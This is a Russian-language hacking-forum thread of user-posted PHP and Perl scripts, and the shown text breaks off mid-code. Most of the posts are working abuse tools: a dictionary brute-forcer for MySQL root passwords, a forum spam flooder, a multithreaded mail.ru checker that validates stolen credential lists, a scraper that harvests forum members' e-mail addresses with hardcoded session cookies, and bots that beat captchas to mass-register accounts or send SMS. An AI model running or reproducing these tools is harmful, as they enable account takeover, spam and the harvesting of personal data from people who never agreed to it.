Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Всем доброе утро! Я написал такой скриптик который пробует подобрать пароль к mysql серверу. Пробовал его у себя на компе работает нормально. Вопрос, посмтрите и скажите может ли он подобрать пароль к удаленному mysql серверу? Или сервера настроены все так чтобы подключаться можно было только из локальной машины?

    PHP:
    <html>

    <head>
      <title>Shpion</title>
    </head>

    <body>
    <h2>Made by Patron</h2>
    <a href = "http://www.libra.com/sql_shpion/tr.php">tr</a><br><br>
    <?php
        $dir 
    opendir("slovnuku");
        while(
    $file readdir($dir))
        {
            if((
    $file != "..")&&($file != "."))
            {
            
    $slovnuku[]= $file;
            }

            }

            
    $size sizeof($slovnuku);

            if(
    $size != )
            {

              foreach (
    $slovnuku as $curslovnuk)
              {
                echo
    '<a href = "http://www.libra.com/sql_shpion/shpion.php?curslovnuk='.$curslovnuk.'">'.$curslovnuk.'</a><br>';
                }

                }

    closedir ($dir);




        
    $curslov $_GET['curslovnuk'];
        echo
    '<center><a href = "http://www.libra.com/sql_shpion/shpion.php?unset=1">Вийти зісловника</a><br><br></center>';
        if(
    $_GET['unset'] == 1) { unset($curslov); }

        if(isset(
    $curslov))
        {
        
    $slovnuk file("slovnuku/$curslov");

            foreach (
    $slovnuk as $curworld)
            {
                
    //echo''.$curworld.'<br>';
                
    $curworld rtrim($curworld);
                
    $coonect mysql_connect("localhost""root"$curworld);

                if(
    $coonect != false)
                {
                    
    $fp fopen("pas.txt""a+");
                    
    $password $curworld;
                    
    $string "Пароль підібрано ----".$password."\n";
                    
    fputs($fp$string);
                    
    fclose($fp);
                    echo
    '<p>Я вас вітаю! Пароль підібрано успішно!</p>';
                    exit;
                }


                else
                {
                    echo 
    '<p> В цьому словнику не знайшлося паролю(( </p>';

                    }



            }


            }


    ?>

    </body>

    </html>
     
  2. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    от настроек сервера зависит
     
  3. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    А есть шанс что сервер настроен так что к нему можно подключиться?
     
  4. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Сборщик Id из групп

    Недавно понадобилось много id пользователей, решил написать скрипт сбора Id из групп Вконтакте

    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email " ";                         // E-mail
    $pass " ";                         // Пароль
    $id " ";                          // Id группы
    $base "base.txt";                // Файл с id'ами
    $sleep "3";                     // Задержка (сек.)
    //-----------------//
     
    /* Авторизация */
    $ch curl_init("http://vkontakte.ru/login.php");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_POSTFIELDS"op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_index  curl_exec($ch);
     
    /* Заходим в группу... */
    curl_setopt($chCURLOPT_URL"http://vkontakte.ru/search.php?e=1&group=".$id);
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_cookie  curl_exec($ch);
     
    /* ...и смотрим сколько в ней человек */
    preg_match('#<strong>Найдено (.*?) ч#i'$res_cookie$people);
     
    /* Цикл для захода на след.страницу с Id'ами */
    for ($i 0$i ceil($people[1]/10); $i++){
    $ch curl_init("http://vkontakte.ru/search.php?e=1&group=".$id."&st=".$i."0");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/");
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $result  curl_exec($ch);
     
    /* Парсим Id */
    for ($n 0$n <= 10$n++){
    preg_match_all('#vkontakte.ru/u(.*?)/#i'$result$end);
    if (
    $end[1][$n] != ''){
    $fh fopen($base"a+");
    $success fwrite($fh$end[1][$n]."\n");
    fclose($fh);}}
    sleep($sleep);
    }
    /* geforse.name */
    ?>
     
    5 people like this.
  5. Lucas

    Lucas Member

    Joined:
    27 Oct 2008
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    [Perl] IPB Forum Flooder

    Code:
    #!/usr/bin/perl
    
    use IO::Socket;
    
    $phost = 'localhost';	#хост прокси
    $pport = 8118;		#порт прокси
    $link = 'http://forum.ru';	#ссылка на форум без / в конце
    $host = 'forum.ru';		#хост форума
    $user = 'Юзир';		#юзер
    $pass = 'pxVoQV';		#пасс
    
    $topic = 'Превед';		#название топика
    $message = 'Превед';	#текст
    
    $forum = 2;		#id форума
    $sleep = 34;		#задержка
    $count = 35;		#сколько топегов создать
    
    ###логинемся###
    $post = "$link/index.php?act=Login&CODE=01&CookieDate=1";
    $data = "UserName=$user&PassWord=$pass";
    ###получаем сессию###
    $answ = request($post,$data);
    ($session,$session) = $answ =~ m/session_id=([a-z0-9]{32})/sg;
    
    $topic = urlen($topic);
    $message = urlen($message);
    
    for (0..$count){
    ###топег### грузим страницу поста и парсим хидден кеи
    $post = "$link/index.php?act=Post&CODE=00&f=$forum";
    $top = "TopicTitle=$topic&Post=$message&s=$session";
    $answa = request($post,$top);
    
    @key = $answa =~ m/value=\'([a-zA-Z0-9]{32})\'/gsx;
    $authkey = $key[1];
    $postkey = $key[2];
    
    ###постем###
    $post = "$link/index.php?act=Post&CODE=01&f=$forum";
    $top = "TopicTitle=$topic&Post=$message&s=$session&auth_key=$authkey&postkey=$post_key&iconid=1";
    $answ2 = request ($post,$top);
    $session = $answ2 =~ m/session_id=([a-z0-9]{32})/g;
    
    print "[+] Message ".$i++." posted\n";
    
    sleep ($sleep);
    }
    
    sub request
    {
    ($post,$data) = @_;
    $sock = IO::Socket::INET->new(PeerAddr=>$phost,PeerPort=>$pport,Proto=>'tcp') || die '[-] Cant connect';
    print $sock "POST $post HTTP/1.1\r\n".
        "Host: $host\r\n".
        "Accept: */*\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Content-Length: ".length($data)."\r\n".
        "User-Agent: Perl\r\n".
        "Connection: close\r\n\r\n$data";       
    while ($answ = <$sock>){
        $answer .= $answ;
    }
    close $sock;
    return $answer;
    }
    
    sub urlen
    {
        ($str)=@_;
        $str=~s/([^0-9A-Za-z\?&=:;])/sprintf("%%%x", ord($1))/eg;
        return $str
    }
     
  6. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    сёдня покапался с .htaccess

    И так 'нулевое расширение файла'
    К примеру создадим файл site.php

    В него
    PHP:
    <?PHP
    echo $_GET['text'];
    ?>
    В адресной строке будет как;
    Смысл скрипта в том что убирается расширение файла :)
     
    #826 Ctacok, 23 Aug 2009
    Last edited: 23 Sep 2009
    1 person likes this.
  7. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    о взор мои сединам.
    + - 1 или более;
    * - 0 или более, у тебя все вместе...,далее:
    ^ - начало строки, $- конец ,у тебя все вместе.
    сорри за оффтоп но как оно у тебя работает?
     
    1 person likes this.
  8. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Apache2 И всё прекрасно у меня работает.
     
  9. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Отмена приглашений в группу

    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email " ";                         // E-mail
    $pass " ";                         // Пароль
    $id " ";                          // Id группы
    $amount "50";                    // Количество Id'ов для удаления
    $sleep "3";                     // Задержка (сек.)
    //-----------------//
     
    /* Авторизация */
    $ch curl_init("http://vkontakte.ru/login.php");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_POSTFIELDS"op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_index  curl_exec($ch);
     
    function 
    page($id '')
    {
    /* Заходим в группу... */
    $ch curl_init("http://vkontakte.ru/groups.php?act=members&gid=".$id."&op=1#pages/0_1");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/");
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $result  curl_exec($ch);
     
    /* Получаем Id'ы пользователей на первой странице */
    preg_match_all('#memberName_(.*?)"#i'$result$end);
    return 
    $end;
    }
     
    for (
    $p 1$p <= ceil($amount/50); $p++){
    $end page($id);
     
    /* Удаляем Id'ы  */
    for ($i 0$i <= 50$i++){
    $ch curl_init("http://vkontakte.ru/groups.php?act=deleteInvited&id=".$end[1][$i]."&gid=".$id);
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/groups.php?act=members&gid=".$id);
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_index  curl_exec($ch);
    sleep($sleep);
    }
    }
    /* geforse.name */
    ?>
     
    2 people like this.
  10. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    geforse



    $amount = "50"; зачем тогда?

    Наверно,надо заменить for ($i = 0; $i <= 50; $i++){
    на for ($i = 0; $i <= $amount; $i++){
     
    1 person likes this.
  11. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    глянь на пару строчек вверх, поймеш в чем дело.

    п.с срипт сразу у меня не заработал потом после того как осмотрел его заметил 23 строчку

    function page($id = '')

    ну я туда впихнул группу типа
    function page($id = '1111') и все заработало))))

    спс за скрипт, мне как раз такой нужен был
     
    #831 zifanchuck, 24 Aug 2009
    Last edited: 24 Aug 2009
    3 people like this.
  12. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Наверно не надо там этого заменять :)

    Минималное количество отмененных id равно 50
    Всё остальное считается так:
    for ($p = 1; $p <= ceil($amount/50); $p++)

    zifanchuck, извини там за ошибку, скрипт писал очень давно и судя по ошибке наверно спешил))
     
  13. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Вечный Онлайн Вконтакте

    просили в этой теме

    [+] Авторизируется по cookie
    [+] Если cookie "мертвые",то с вашим E-mail/Password
    [+] При необходимости пишет log-файл

    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email "";                  // E-mail 
    $pass "";                  // Пароль
    $log "0";                 // 1 - Если нужно писать log-файл
    //-----------------//

       
    $ch curl_init("http://vkontakte.ru/index.php");
       
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
       
    curl_setopt($chCURLOPT_COOKIEFILE"./cook7777");
       
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
       
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
       
    $result  curl_exec($ch);
        

      if (
    preg_match('#l">E(.*?)<#i',$result,$avtoriz))
       {
         
         
    $ch curl_init("http://vkontakte.ru/login.php");
         
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
         
    curl_setopt($chCURLOPT_POST1);
         
    curl_setopt($chCURLOPT_HEADER1);
         
    curl_setopt($chCURLOPT_POSTFIELDS"op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
         
    curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
         
    curl_setopt($chCURLOPT_COOKIEJAR"./cook7777");
         
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
         
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
         
    $res_index  curl_exec($ch);
        
        
            if (
    $log == "1")
         {
               
    $fh fopen("log.txt""a+");
            
    $success fwrite($fh"Авторизация [".date("H:i")."]\r\n");
            
    fclose($fh);
         }
        
        }
        else
        {
              if (
    $log == "1")
          {
               
    $fh fopen("log.txt""a+");
            
    $success fwrite($fh"Работа через cookie [".date("H:i")."]\r\n");
            
    fclose($fh);
           }
         }


    /* geforse.name */
    ?>
    [​IMG] P.S. Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
     
    2 people like this.
  14. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Возьми за привычку не использовать двойные ковычки там где нет переменных.
    У тебя неавторизовуется из-за них, потому как спецсиволы нужно екранировать.
     
    1 person likes this.
  15. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    написал скриптик для отсылки статистики с партнерской программы nicetest на мобилку (смс) через сайт mts.com.ua

    я только начал изучения курла и вообще я не спец по пхп, так что код у меня не гут) но главное работает)

    ввести нужно логин, пасс, номер, и абсолютный путь к картинке с каптчой. и еще нужно отредактировать 120 и 150 строчки(вставить туда апикей)

    ставим на крон и все)))
    вот сам код

    PHP:
    <?php
    set_time_limit
    (0);

    //NiceTest.ru

    $login " ";   //Логин на партнерке
    $pass " ";       //пароль на партнерке
    $operator "095"//  Оператор
    $nomer "1234567"//     Номер
    $apath "абсолютный/путь/к/cap.jpg";    //Абсолютный путь к cap.jpg

        //Авторизация на Nicetest
    $ch curl_init("http://partners.nicetest.ru/admin.php?login=1");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_POSTFIELDS"username=".urlencode($login)."&password=".urlencode($pass));
    curl_setopt($chCURLOPT_REFERER"http://partners.nicetest.ru");
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_index  curl_exec($ch);

        
    //Грабим сумму
    $res_index str_replace("Заработано за период: <font class=main_12>","***"$res_index);
    $res_index str_replace("$</font></td></tr>","***"$res_index);
    $res_index str_replace("Заработано сегодня: <font class=main_12>","***"$res_index);
    $res_index str_replace("Из них рефералами: <font class=main_12>","***"$res_index);
    list(
    $str1$str2$str3$str4$str5$str6) = explode("***"$res_index);
    $segod $str2;
    $period $str4;
    $referal $str6;



         
    //отправка смс

    $message "segod=".$segod.";\r\nperiod=".$period.";\r\nreferal=".$referal;


    $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
    $ch curl_init('http://www.mts.com.ua/ukr/sendsms.php');
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    curl_setopt($chCURLOPT_HEADER1);
        
    curl_setopt($chCURLOPT_NOBODY0);
        
    curl_setopt($chCURLOPT_REFERER'http://www.mts.com.ua/ukr/sendsms.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    $res curl_exec($ch);
    curl_close($ch);
    ### Func ###
    function get_session($var)
    {
    preg_match('#PHPSESSID=(.*);#',$var,$matches);
    $session $matches[1];
    return 
    $session;
    }
    ############
    $session get_session($res);

    if(
    preg_match('#captcha\.php\?PHPSESSID=(.*)&rnd=(.*)" alt="Код"#',$res,$matches))
        {
        
    $rnd $matches[2];
        
    $ch curl_init("http://www.mts.com.ua/back/modules/golden/captcha.php?PHPSESSID=$session&rnd=$rnd");
        
    curl_setopt($chCURLOPT_USERAGENT$ua);
        
    curl_setopt($chCURLOPT_COOKIE'PHPSESSID='.$session);
        
    curl_setopt($chCURLOPT_REFERER'http://www.mts.com.ua/ukr/sendsms.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
    $res curl_exec($ch);
        
    curl_close($ch);
        
    file_put_contents('cap.jpg',$res);
    }

    #######################################
    function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
    {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
        
    $postdata = array(
            
    'method'    => 'post',
            
    'key'       => $apikey,
            
    'file'      => '@'.$filename
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,

        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch))
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "ID $captcha_id \n";
            
    $waittime 0;
            if (
    $is_verbose) echo "<br>sleep $rtimeout \n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://ac-service.info/res.php?key=4d00d7b9863...........3f694&action=get&id='.$captcha_id); //сюда кей антикаптчи
                
    if (strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "<br>captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout)
                    {
                        if (
    $is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                    echo 
    '<br>'.$ex[1];
                }
            }

            return 
    false;
        }
    }
    #######################################
    $captcha=recognize($apath ,"4d00d7b...............93f694",true);  //сюда кей антикаптчи


    $ch curl_init("http://www.mts.com.ua/back/modules/sms/db_sms.php");
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_POSTFIELDS"script=%2Fukr%2Fsendsms.php&sms_tag_id=3&network1=38".$operator."&phone1=".$nomer."&message=".$message."&lang=lat&captcha=".$captcha);
    curl_setopt($chCURLOPT_REFERER"http://www.mts.com.ua/ukr/sendsms.php");
        
    curl_setopt($chCURLOPT_COOKIE'PHPSESSID='.$session);
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $res_index  curl_exec($ch);
    ?>
    смска приходит вида
    segod=999;
    period=999;
    referal=999

    п.с прошу не пинать)
     
    #835 zifanchuck, 25 Aug 2009
    Last edited: 25 Aug 2009
    4 people like this.
  16. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    [PERL] МойМир чекер

    Code:
    #!/usr/bin/perl
    # my.mail.ru accounts checker by Gaus
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    
    ###############################
    my $file_accs = 'accs.txt';   # Файл с аккаунтами
    my $delm_accs = ';';          # Разделитель списка аккаунтов
    my $threads = 10;             # Кол-во потоков
    ###############################
    
    open my $file, '<', $file_accs or die "\nCould not open accounts file!\n";
    chomp(my @accs : shared = <$file>);
    close $file;
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    sub main
    {
        while(@accs)
        {
            my ($mail,$pass) = split $delm_accs => shift @accs;;
            my ($login,$domain) = split '@' => $mail;
            my $ua = LWP::UserAgent->new(timeout => 35,
                                         cookie_jar => new HTTP::Cookies,
                                         agent => agent());
            my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth',
                                ['action1' => 'Login',
                                 'Login' => $login,
                                 'Domain' => $domain,
                                 'Password' => $pass])->code;
            if($answ == 302)
            {
                my $resp = $ua->get("http://my.mail.ru/")->content;
                if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i)
                {
                    if($2 > 0)
                    {
                        wf('acccounts_with_friends.txt',"$mail;$pass\n");
                        print "[ + ] $mail;$pass:$2\n";                    
                    }
                    else
                    {
                        print "[ ~ ] $mail;$pass:0\n";
                        wf('acccounts_without_friends.txt',"$mail;$pass\n");
                    }
                }
                else
                {
                    print "[ ~ ] $mail;$pass\n";
                    
                }
                
            }
            else
            {
                print "[ - ] $mail;$pass\n";
            }
        }
    }
    sub agent
    {
        my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
        return $agents[rand scalar @agents];
    }
    sub wf
    {
        open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
        flock $dat, LOCK_EX;
        print $dat $_[1];
        flock $dat, LOCK_UN;
        close $dat;
    }
    Download(pass: antichat)
     
    2 people like this.
  17. restart_05

    restart_05 Member

    Joined:
    5 May 2009
    Messages:
    164
    Likes Received:
    6
    Reputations:
    0
    Почему у меня курл не работает ?? пишет undef. function
     
    1 person likes this.
  18. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    скачай курл библиотеки и отред. php.ini
     
    2 people like this.
  19. Themail

    Themail New Member

    Joined:
    26 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Парсер контента, работает с cookies.
    Скрипт Pashkela, поддержка cookies Pavlov.
    PHP:
    <?php  
    $opts 
    = array( 
      
    'http'=>array( 
        
    'method'=>"GET"
        
    'header'=>"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nReferer: http://forum.antichat.ru/index.php?\nCookie: abblastvisit=1251307988; abblastactivity=deleted; abbuserid=95513; abbpassword=bdbb9260271d89f701d585f6435112c8; abbsessionhash=0060e7152bd8aa91132d8b877bf9a097;\n"
      

    ); 

    $context stream_context_create($opts); 
    $start 95512;//Стартовая страница 
    $end 95514;//Последняя страница
    $pause 1;//пауза в секундах между каждой страницей
    $result fopen('m.txt','w');//контент
    for ($i=$start;$i<=$end;$i++) { 
       
    $a file_get_contents('http://forum.antichat.ru/sendmessage.php?do=mailmember&u=' $i ' 'false,$context); 
       
    preg_match_all('/: <a href="mailto:.*?\">/ism',$a,$res[$i]);
       
    $res[$i] = array_unique($res[$i][0]); 
       
    $b implode ("\r\n",$res[$i]); 
       
    fwrite ($result,$b "\r\n"); 
       
    sleep($pause);  

    fclose ($result);
    echo 
    "<html><title>The mail</title><body bgcolor='#363940'>";
    echo 
    "<font color='c1c1c7'>The mail accounts of the members </font> ";
    echo 
    "<font color='PaleGreen'>[" $start "-" $end "]</font> ";
    echo 
    "<font color='c1c1c7'>has been saved as </font>";
    echo 
    "<font color='PaleGreen'>m.txt</font></html></body>";
    ?>
     
    #839 Themail, 27 Aug 2009
    Last edited: 27 Aug 2009
  20. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Авторегер E-mail + сайтов Narod.ru

    PHP:
    <?php
    set_time_limit
    (0);
    //-----------------//
    $email 'yandex_mail.txt'// Файл с E-mail
    $narod 'narod.txt';      // Файл с FTP
    $ammount '5';           // Количество регистраций
    $divider ':';          // Разделитель
    $ac_key ' ';          // Ключ антикапчи
    #$proxy = ' ';         // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy)
    //-----------------//
     
           
    function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
          
    #curl_setopt($ch, CURLOPT_PROXY, $proxy);
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }
     
        
    /* Функция для распознавания капчи */
        
    function recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 1$min_len 0$max_len 0)
       {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
     
        
    $postdata = array(
            
    'method'    => 'post'
            
    'key'       => $apikey
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,
     
        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch)) 
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
            
    $waittime 0;
            if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout
                    {
                        if (
    $is_verbose) echo "timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
